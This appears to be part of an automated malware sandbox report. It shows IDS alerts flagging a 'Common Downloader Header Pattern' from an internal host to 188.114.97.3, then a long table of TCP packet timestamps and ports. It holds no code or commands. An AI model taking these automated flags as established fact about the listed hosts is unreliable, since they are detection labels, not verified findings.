2024-10-04T11:26:33.846156+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50278	188.114.97.3	80	TCP
2024-10-04T11:26:36.214201+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50280	188.114.97.3	443	TCP
2024-10-04T11:26:47.666780+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50290	188.114.97.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 11:22:48.625569105 CEST	49730	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:48.630562067 CEST	80	49730	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:48.630666971 CEST	49730	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:48.658129930 CEST	49730	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:48.663013935 CEST	80	49730	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.280977964 CEST	80	49730	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.292857885 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.292928934 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.293037891 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.316894054 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.316925049 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.333064079 CEST	49730	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.783405066 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.783536911 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.826332092 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.826368093 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.826675892 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:49.879918098 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.883029938 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:49.923408985 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:52.157573938 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:52.157813072 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:52.157978058 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:52.179476976 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:52.191078901 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:52.191129923 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:52.191241980 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:52.191536903 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:52.191553116 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:52.688482046 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:52.688595057 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:52.713160038 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:52.713186979 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:52.713444948 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:52.714834929 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:52.755409956 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:53.997363091 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:53.997414112 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:53.997637987 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:53.997663975 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:53.999341965 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:53.999414921 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:53.999423027 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.004722118 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.004754066 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.004782915 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.004792929 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.004838943 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.007795095 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.010042906 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.010073900 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.010128975 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.010137081 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.010181904 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.011610031 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.013406992 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.013463020 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.013469934 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.016468048 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.016529083 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.016536951 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.017983913 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.018035889 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.018043041 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.019597054 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.019629955 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.019659042 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.019668102 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.019711018 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.021584988 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.023144007 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.023170948 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.023205042 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.023214102 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.023257971 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.024866104 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.026612997 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.026643038 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.026665926 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.026676893 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.026715994 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.028363943 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.030102968 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.030126095 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.030159950 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.030226946 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.030289888 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.031465054 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.032804012 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.032877922 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.032888889 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.083079100 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.098635912 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.098882914 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.098963022 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.099011898 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.101735115 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.101798058 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.101829052 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.103404999 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.103470087 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.103481054 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.103528976 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.106944084 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.107023954 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.108792067 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.108865976 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.111762047 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.111855030 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.114609003 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.114677906 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.116050005 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.116115093 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.117366076 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.117419958 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.120042086 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.120105982 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.121566057 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.121623039 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.190126896 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.190215111 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.191517115 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.191579103 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.214658976 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.214734077 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.217396975 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.217466116 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.220310926 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.220401049 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.221703053 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.221770048 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.223150969 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.223205090 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.225552082 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.225624084 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.226648092 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.226710081 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.229125977 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.229211092 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.231620073 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.231688976 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.233097076 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.233172894 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.234392881 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.234462976 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.237116098 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.237175941 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.282820940 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.282896996 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.284821987 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.284920931 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.306333065 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.306427002 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.307308912 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.307374001 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.309613943 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.309683084 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.310714960 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.310782909 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.313043118 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.313107967 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.314435959 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.314495087 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.316642046 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.316719055 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.317769051 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.317825079 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.320017099 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.320070982 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.321141005 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.321197033 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.323499918 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.323553085 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.324657917 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.324721098 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.326500893 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.326555014 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.327416897 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.327491045 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.329273939 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.329333067 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.335154057 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.335189104 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.335211992 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.335249901 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.335266113 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.335279942 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.335313082 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.338227987 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.338283062 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.338327885 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.338335991 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.338346958 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.338375092 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.375154972 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.375180006 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.375348091 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.375369072 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.375447989 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.379832983 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.379851103 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.379930019 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.379952908 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.379997015 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.402551889 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.402606010 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.402676105 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.402688980 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.402703047 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.402724981 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.408308983 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.408354044 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.408462048 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.408479929 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.408518076 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.408538103 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.413028002 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.413078070 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.413125038 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.413131952 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.413177967 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.416913986 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.416956902 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.417001009 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.417010069 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.417042017 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.417056084 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.420631886 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.420675039 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.420725107 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.420732975 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.420761108 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.420775890 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.424057961 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.424103975 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.424134970 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.424144030 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.424168110 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.424187899 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.472497940 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.472522020 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.472651005 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.472664118 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.472723007 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.491709948 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.491730928 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.491856098 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.491872072 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.491924047 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.495274067 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.495287895 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.495357990 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.495373011 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.495425940 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.500857115 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.500881910 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.500948906 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.500965118 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.501013994 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.503473043 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.503490925 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.503572941 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.503587961 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.503635883 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.506294012 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.506309986 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.506366968 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.506383896 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.506433964 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.508430958 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.508446932 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.508517027 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.508532047 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.508578062 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.515501976 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.515520096 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.515727997 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.515743971 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.515800953 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.561685085 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.561707020 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.561870098 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.561880112 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.561927080 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.584433079 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.584455967 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.584532976 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.584544897 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.584574938 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.584606886 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.587352037 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.587378025 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.587424994 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.587440014 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.587471008 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.587548018 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.590663910 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.590682983 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.590868950 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.590883970 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.590935946 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.593600035 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.593616962 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.593689919 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.593703985 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.593733072 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.593751907 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.596602917 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.596622944 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.596687078 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.596707106 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.596847057 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.599773884 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.599783897 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.599860907 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.599875927 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.599929094 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.602914095 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.602931976 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.602993011 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.603007078 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.603034973 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.603058100 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.654372931 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.654391050 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.654500008 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.654515982 CEST	443	49732	188.114.97.3	192.168.2.4
